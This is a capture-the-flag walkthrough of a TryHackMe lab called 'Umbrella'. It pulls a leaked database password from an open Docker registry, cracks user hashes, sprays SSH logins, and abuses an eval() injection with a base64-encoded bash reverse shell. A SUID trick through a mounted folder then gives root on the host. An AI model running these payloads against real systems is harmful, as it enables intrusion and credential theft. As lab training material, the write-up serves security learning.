Post

Umbrella

Umbrella

Recon

1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ pt init '10.10.104.119 Umbrella'
+----------+--------+---------------+----------+
| PROFILE  | STATUS |      IP       |  DOMAIN  |
+----------+--------+---------------+----------+
| umbrella | on     | 10.10.104.119 | Umbrella |
+----------+--------+---------------+----------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# Nmap 7.94SVN scan initiated Sat Jan 20 15:44:47 2024 as: nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,3306,5000,8080, Umbrella
Nmap scan report for Umbrella (10.10.149.49)
Host is up, received user-set (0.23s latency).
Scanned at 2024-01-20 15:44:47 CST for 53s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8a:52:f1:d6:ea:6d:18:b2:6f:26:ca:89:87:c9:49:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBASqbHaEEuWmI5CrkNyO/jnEdfqh2rz9z2bGFBDGoHjs5kyxBKyXoDSq/WBp7fdyvo1tzZdZfJ06LAk5br00eTg=
|   256 4b:0d:62:2a:79:5c:a0:7b:c4:f4:6c:76:3c:22:7f:f9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDDy2RWM3VB9ZBVO+OjouqVM+inQcilcbI0eM3GAjnoC
3306/tcp open  mysql   syn-ack ttl 62 MySQL 5.7.40
| ssl-cert: Subject: commonName=MySQL_Server_5.7.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_5.7.40_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-12-22T10:04:49
| Not valid after:  2032-12-19T10:04:49
| MD5:   c512:bd8c:75b6:afa8:fde3:bc14:0f3e:7764
| SHA-1: 8f11:0b77:1387:0438:fc69:658a:eb43:1671:715c:d421
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfNS43LjQwX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTIyMTIyMjEwMDQ0OVoXDTMyMTIxOTEwMDQ0OVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzUuNy40MF9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8KqoE91ydQZJDUqWE/nfs
| 6akfHB2g3D1VJoX+DeuTxEubjmWy+jGOepvEbKEhjrLMl9+LIj3vkKlj1bpRw0x1
| 7tbY7NXPtz5EsOCqDcuGl8XjIBE6ck+4yK8jmzgCMOHhJjoAtcsgAOcnal0WCCyB
| 7IS4uvHi7RSHKPrcAf9wgL5sUZylaH1HWiPXDd0141fVVpAtkkdjOUCPwZtF5MKC
| W6gOfgxMsvYoqY0dEHW2LAh+gw10nZsJ/xm9P0s4uWLKrYmHRuub+CC2U5fs5eOk
| mjIk8ypRfP5mdUK3yLWkGwGbq1D0W90DzmHhjhPm96uEOvaomvIK9cHzmtZHRe1r
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAGkpBg5j
| bdmgMd30Enh8u8/Z7L4N6IalbBCzYhSkaAGrWYh42FhFkd9aAsnbawK+lWWEsMlY
| +arjrwD0TE6XzwvfdYsVwOdARPAwm4Xe3odcisBvySAeOE6laaCnIWnpH/OqGDEk
| GBYfI8+e0CBdjhDNpeWVJEkGv4tzaf6KE1Ix9N2tTF/qCZtmHoOyXQQ7YwBPMRLu
| WnmAdmtDYqVEcuHj106v40QvUMKeFgpFH37M+Lat8y3Nn+11BP5QzRLh+GFuQmVc
| XaDxVdWXCUMWsbaPNNS+NM9FT7WNkH7xTy2NuBdSFvl88tXNZpnz8nkRxXLarLD8
| 2AE6mQqpFHhaSRg=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| mysql-info:
|   Protocol: 10
|   Version: 5.7.40
|   Thread ID: 12
|   Capabilities flags: 65535
|   Some Capabilities: LongPassword, Support41Auth, IgnoreSigpipes, LongColumnFlag, SupportsCompression, DontAllowDatabaseTableColumn, ConnectWithDatabase, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsLoadDataLocal, InteractiveClient, IgnoreSpaceBeforeParenthesis, FoundRows, SwitchToSSLAfterHandshake, ODBCClient, SupportsTransactions, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: S#\x157^`M\x0D\x0EAx\x07\x14J>;l]\x0Bi
|_  Auth Plugin Name: mysql_native_password
5000/tcp open  http    syn-ack ttl 62 Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
8080/tcp open  http    syn-ack ttl 62 Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Login
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sat Jan 20 15:45:40 2024 -- 1 IP address (1 host up) scanned in 52.84 seconds

Web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ bulkdirb
[+] Open Ports: 22,3306,5000,8080,
[!] No URL file found. Running webprobe...
http://Umbrella:5000 [200] [] [] [da39a3ee5e6b4b0d3255bfef95601890afd80709]
http://Umbrella:8080 [200] [Login] [] [Express,Node.js] [9fa14136b9441642f292b52be2366f263d5b9680]
[+] Web Ports: 5000 8080 80
[+] cat httpx/urls.txt | feroxbuster --stdin -w /usr/share/wordlists/dirb/common.txt -C 404,400,500 --thorough --dont-scan js,css,png,jpg,gif -I js,css,png,jpg,gif -k -r -n -A -o bulkdirb.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://Umbrella:5000
 🎯  Target Url            │ http://Umbrella:8080
 🚫  Don't Scan Regex      │ js
 🚫  Don't Scan Regex      │ css
 🚫  Don't Scan Regex      │ png
 🚫  Don't Scan Regex      │ jpg
 🚫  Don't Scan Regex      │ gif
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404, 400, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ Random
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ bulkdirb.txt
 💰  Collect Extensions    │ true
 💸  Ignored Extensions    │ [js, css, png, jpg, gif]
 🏦  Collect Backups       │ true
 🤑  Collect Words         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🎶  Auto Tune             │ true
 📍  Follow Redirects      │ true
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        4w       19c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       10l       15w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        0l        0w        0c http://umbrella:5000/
200      GET       25l       47w      656c http://umbrella:8080/
200      GET        1l        1w        2c http://umbrella:5000/v2/
[####################] - 23s     9235/9235    0s      found:3       errors:0
[####################] - 23s     4615/4615    202/s   http://Umbrella:5000/
[####################] - 23s     4615/4615    199/s   http://Umbrella:8080/ 

Initial Access

Shell as claire-r

5000 - Get DB Credential via docker registry API

https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry

The api doesn’t require auth and have one image available

1
2
3
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ curl http://umbrella:5000/v2/_catalog
{"repositories":["umbrella/timetracking"]}

There’s only one tag latest on the image umbrella/timetracking

1
2
3
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ curl -s http://umbrella:5000/v2/umbrella/timetracking/tags/list
{"name":"umbrella/timetracking","tags":["latest"]}

The registry api uses HTTP, and docker forces to use HTTPS as default

1
2
3
4
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker pull Umbrella:5000/umbrella/timetracking
Using default tag: latest
Error response from daemon: Get "https://Umbrella:5000/v2/": http: server gave HTTP response to HTTPS client

Allow insecure connection for Umbrella:5000

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo vi /etc/docker/daemon.json
{
        "insecure-registries":[
                "Umbrella:5000"
        ]
}

┌──(bravosec㉿fsociety)-[/opt/…/misc/DockerRegistryGrabber/umbrella/timetracking]
└─$ sudo service docker restart

Pull the image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker pull Umbrella:5000/umbrella/timetracking
Using default tag: latest
latest: Pulling from umbrella/timetracking
3f4ca61aafcd: Pull complete
00fde01815c9: Pull complete
a3241ece5841: Pull complete
f897be510228: Pull complete
23e2f216e824: Pull complete
15b79dac86ef: Pull complete
7fbf137cf91f: Pull complete
e5e56a29478c: Pull complete
82f3f98b46d4: Pull complete
62c454461c50: Pull complete
c9124d8ccff2: Pull complete
Digest: sha256:ecac8ce90b50026feea9d5552ac2889f6e8b2201f35e0ac5c21caeafed6fb9af
Status: Downloaded newer image for Umbrella:5000/umbrella/timetracking:latest
Umbrella:5000/umbrella/timetracking:latest

Inspect the commands used to build the image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(bravosec㉿fsociety)-[/opt/…/misc/DockerRegistryGrabber/umbrella/timetracking]
└─$ sudo docker history Umbrella:5000/umbrella/timetracking
IMAGE          CREATED         CREATED BY                                      SIZE      COMMENT
7843f102a2fc   13 months ago   /bin/sh -c #(nop)  CMD ["node" "app.js"]        0B
<missing>      13 months ago   /bin/sh -c #(nop)  EXPOSE 8080                  0B
<missing>      13 months ago   /bin/sh -c #(nop) COPY file:15724d44e98203ba…   3.24kB
<missing>      13 months ago   /bin/sh -c #(nop) COPY dir:f4893f0d1db8ba309…   1.87kB
<missing>      13 months ago   /bin/sh -c #(nop) COPY dir:b1f43f22176dce6e1…   2.56kB
<missing>      13 months ago   /bin/sh -c npm install                          8.15MB
<missing>      13 months ago   /bin/sh -c #(nop) COPY multi:8ea3cb977bb32fa…   64.3kB
<missing>      13 months ago   /bin/sh -c #(nop)  ENV LOG_FILE=/logs/tt.log    0B
<missing>      13 months ago   /bin/sh -c #(nop)  ENV DB_DATABASE=timetrack…   0B
<missing>      13 months ago   /bin/sh -c #(nop)  ENV DB_PASS=Ng1-f3!Pe7-e5…   0B
<missing>      13 months ago   /bin/sh -c #(nop)  ENV DB_USER=root             0B
<missing>      13 months ago   /bin/sh -c #(nop)  ENV DB_HOST=db               0B
<missing>      13 months ago   /bin/sh -c #(nop) WORKDIR /usr/src/app          0B
<missing>      13 months ago   /bin/sh -c #(nop)  CMD ["node"]                 0B
<missing>      13 months ago   /bin/sh -c #(nop)  ENTRYPOINT ["docker-entry…   0B
<missing>      13 months ago   /bin/sh -c #(nop) COPY file:4d192565a7220e13…   388B
<missing>      13 months ago   /bin/sh -c set -ex   && savedAptMark="$(apt-…   9.49MB
<missing>      13 months ago   /bin/sh -c #(nop)  ENV YARN_VERSION=1.22.19     0B
<missing>      13 months ago   /bin/sh -c ARCH= && dpkgArch="$(dpkg --print…   157MB
<missing>      13 months ago   /bin/sh -c #(nop)  ENV NODE_VERSION=19.3.0      0B
<missing>      13 months ago   /bin/sh -c groupadd --gid 1000 node   && use…   333kB
<missing>      13 months ago   /bin/sh -c #(nop)  CMD ["bash"]                 0B
<missing>      13 months ago   /bin/sh -c #(nop) ADD file:73e68ae6852c9afbb…   80.5MB

There’s a database credential in image

1
2
3
4
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker history Umbrella:5000/umbrella/timetracking --no-trunc | grep DB_PASS
<missing>                                                                 13 months ago   /bin/sh -c #(nop)  ENV DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
[...]

Attach to the image and enumerate

1
2
3
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker run -it Umbrella:5000/umbrella/timetracking bash
root@a4fef00e4853:/usr/src/app#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@cc18f02cf826:/usr/src/app# ls -la
total 92
drwxr-xr-x  1 root root  4096 Dec 22  2022 .
drwxr-xr-x  1 root root  4096 Dec 22  2022 ..
-rw-rw-r--  1 root root  3237 Dec 22  2022 app.js
drwxr-xr-x 87 root root  4096 Dec 22  2022 node_modules
-rw-rw-r--  1 root root 63965 Dec 22  2022 package-lock.json
-rw-rw-r--  1 root root   385 Dec 22  2022 package.json
drwxr-xr-x  3 root root  4096 Dec 22  2022 public
drwxr-xr-x  2 root root  4096 Dec 22  2022 views
root@cc18f02cf826:/usr/src/app# cat app.js
const mysql = require('mysql');
const express = require('express');
const session = require('express-session');
const path = require('path');
const crypto = require('crypto')
const cookieParser = require('cookie-parser');
const fs = require('fs');

const connection = mysql.createConnection({
        host     : process.env.DB_HOST,
        user     : process.env.DB_USER,
        password : process.env.DB_PASS,
        database : process.env.DB_DATABASE
});
[...]
app.listen(8080, () => {
        console.log("App listening on port 8080")
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@cc18f02cf826:/usr/src/app# env
HOSTNAME=cc18f02cf826
YARN_VERSION=1.22.19
PWD=/usr/src/app
DB_USER=root
HOME=/root
LOG_FILE=/logs/tt.log
TERM=xterm
DB_HOST=db
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.3.0
DB_DATABASE=timetracking
DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
_=/usr/bin/env

Crack user hashes in mysql database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ mysql -h Umbrella -u root -p'Ng1-f3!Pe7-e5?Nf3xe5'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.40 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+
5 rows in set (0.236 sec)

MySQL [(none)]> use timetracking
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.230 sec)

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
4 rows in set (0.230 sec)

MySQL [timetracking]>
1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cat loot/users.raw | awk -F'|' '{print $2$3}' | tail +4 | sed -e '/^$/d' | awk '{print $1":"$2}' | tee loot/users.hash
claire-r:2ac9cb7dc02b3c0083eb70898e549b63
chris-r:0d107d09f5bbe40cade3de5c71e9e9b7
jill-v:d5c0607301ad5d5c1528962a83992ac8
barry-b:4a04890400b5d7bac101baace5d7e994
1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hashcat loot/users.hash /opt/wordlists/rockyou.txt --user -m 0

┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hashcat loot/users.hash /opt/wordlists/rockyou.txt --user -m 0 --show
claire-r:2ac9cb7dc02b3c0083eb70898e549b63:Password1
chris-r:0d107d09f5bbe40cade3de5c71e9e9b7:letmein
jill-v:d5c0607301ad5d5c1528962a83992ac8:sunshine1
barry-b:4a04890400b5d7bac101baace5d7e994:sandwich
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hashcat loot/users.hash /opt/wordlists/rockyou.txt --user -m 0 --show > hashcat_users.txt

┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cat hashcat_users.txt | cut -d: -f3 > pass.lst

┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cat hashcat_users.txt | cut -d: -f1 > users.lst

Password spray

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hydra -e nsr -L users.lst -P pass.lst ssh://Umbrella -t 4 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-20 17:01:05
[DATA] max 4 tasks per 1 server, overall 4 tasks, 28 login tries (l:4/p:7), ~7 tries per task
[DATA] attacking ssh://Umbrella:22/
[22][ssh] host: Umbrella   login: claire-r   password: Password1
Password11 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-20 17:01:32
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cssh claire-r@Umbrella 'Password1'
Warning: Permanently added 'umbrella' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 20 Jan 2024 09:02:06 AM UTC

  System load:                      0.13
  Usage of /:                       69.6% of 6.06GB
  Memory usage:                     50%
  Swap usage:                       0%
  Processes:                        129
  Users logged in:                  0
  IPv4 address for br-1fddcfdf193d: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.122.242

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

20 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jan 20 09:01:58 2024 from 10.11.19.145
claire-r@ctf:~$ cat user.txt
THM{d832c0e4cf71312708686124f7a6b25e}

Privilege Escalation

From claire-r to root

Foothold

Under the user’s directory, there’s the node js app’s source code at port 8080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
claire-r@ctf:~$ ls -latr
total 36
drwxr-xr-x 4 root     root     4096 Dec 22  2022 ..
-rw-r--r-- 1 claire-r claire-r  220 Dec 22  2022 .bash_logout
-rw-r--r-- 1 claire-r claire-r  807 Dec 22  2022 .profile
-rw-r--r-- 1 claire-r claire-r 3771 Dec 22  2022 .bashrc
-rw-r--r-- 1 claire-r claire-r   38 Dec 22  2022 user.txt
drwxrwxr-x 6 claire-r claire-r 4096 Dec 22  2022 timeTracker-src
-rw------- 1 claire-r claire-r   61 Sep 22 18:26 .bash_history
drwx------ 2 claire-r claire-r 4096 Jan 24 16:12 .cache
drwxr-xr-x 4 claire-r claire-r 4096 Jan 24 16:12 .
claire-r@ctf:~$ cd timeTracker-src/
claire-r@ctf:~/timeTracker-src$ ls -latr
total 108
drwxrwxr-x 2 claire-r claire-r  4096 Dec 22  2022 views
drwxrwxr-x 3 claire-r claire-r  4096 Dec 22  2022 public
-rw-rw-r-- 1 claire-r claire-r 63965 Dec 22  2022 package-lock.json
-rw-rw-r-- 1 claire-r claire-r   385 Dec 22  2022 package.json
-rw-rw-r-- 1 claire-r claire-r    17 Dec 22  2022 .gitignore
-rw-rw-r-- 1 claire-r claire-r   398 Dec 22  2022 docker-compose.yml
drwxrwxr-x 2 claire-r claire-r  4096 Dec 22  2022 db
-rw-rw-r-- 1 claire-r claire-r  3237 Dec 22  2022 app.js
-rw-rw-r-- 1 claire-r claire-r   295 Dec 22  2022 Dockerfile
drwxrw-rw- 2 claire-r claire-r  4096 Dec 22  2022 logs
drwxrwxr-x 6 claire-r claire-r  4096 Dec 22  2022 .
drwxr-xr-x 4 claire-r claire-r  4096 Jan 24 16:12 ..

From the docker file, we know that logs was probably mounted at /logs/tt.log in docker container

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
claire-r@ctf:~/timeTracker-src$ cat Dockerfile
FROM node:19-slim

WORKDIR /usr/src/app
ENV DB_HOST=db
ENV DB_USER=root
ENV DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
ENV DB_DATABASE=timetracking
ENV LOG_FILE=/logs/tt.log

COPY package*.json ./
RUN npm install

COPY ./public ./public
COPY ./views ./views
COPY app.js .

EXPOSE 8080
CMD [ "node", "app.js"]

After getting root in docker container, we can give bash SUID as root to privilege escalate in host machine

There are mainly 2 ways to backdoor docker images:

  • If the docker image exposes SSH port, modify SSHD config and change root password
  • If the image runs php, asp web applications, add webshells

In this case, the docker image doesn’t open SSH port, and the web app was running node js which we can’t access webshell without restarting

So we need to find another way to get initial access on the docker container

SAST for node js app

Check for dangerous functions

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ grep -iE 'child_process|eval' -E5 dump/app.js
// http://localhost:8080/time
app.post('/time', function(request, response) {

    if (request.session.loggedin && request.session.username) {

        let timeCalc = parseInt(eval(request.body.time));
                let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;

                connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], function(error, results, fields) {
                        if (error) {

I can use the time parameter to get code execution

8000 - Code injection in node js app

After login, I was able to submit post data to /time with time parameter

Craft reverse shell payload

1
2
3
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ echo 'bash -i >& /dev/tcp/10.11.19.145/1111 0>&1' | base64  -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMS4xOS4xNDUvMTExMSAwPiYxCg== 

In order to get rid of special characters, I added some spaces

1
2
3
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ echo 'bash  -i >& /dev/tcp/10.11.19.145/1111 0>&1 ' | base64 -w0
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTEuMTkuMTQ1LzExMTEgMD4mMSAK

Final payload :

1
require("child_process").exec("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTEuMTkuMTQ1LzExMTEgMD4mMSAK | base64 -d | bash")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.11.19.145] from (UNKNOWN) [10.10.10.193] 56854
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@de0610f51845:/usr/src/app# script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
root@de0610f51845:/usr/src/app# ^Z
zsh: suspended  nc -lvnp 1111

┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111

root@de0610f51845:/usr/src/app# export TERM=xterm
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)

SUID - Give bash SUID as root from docker container

The /logs dir was mounted from host

1
2
3
4
5
6
7
8
root@de0610f51845:/tmp# mount
[...]
/dev/mapper/ubuntu--vg-ubuntu--lv on /logs type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)
[...]
root@de0610f51845:/tmp#
1
2
3
4
5
root@de0610f51845:/tmp# ls -latr /logs
total 1168
drwxr-xr-x 1 root root    4096 Dec 22  2022 ..
-rw-r--r-- 1 root root     454 Jan 24 17:11 tt.log
drwxrw-rw- 2 1001 1001    4096 Jan 24 17:22 .

First, copy bash to ~/timeTracker-src from the host machine

1
claire-r@ctf:~/timeTracker-src$ cp /bin/bash logs/

Change the owner of bash to root then give SUID as root from docker container

1
2
root@de0610f51845:/tmp# chown root: /logs/bash
root@de0610f51845:/tmp# chmod +s /logs/bash

Run the bash binary from host machine

1
2
3
4
5
6
claire-r@ctf:~/timeTracker-src$ logs/bash -p
bash-5.0# id
uid=1001(claire-r) gid=1001(claire-r) euid=0(root) egid=0(root) groups=0(root),1001(claire-r)
bash-5.0# cat /root/root.txt
THM{1e15fbe7978061c6bb1924124fd9eab2}
bash-5.0#

Appendix

This post is licensed under CC BY 4.0 by the author.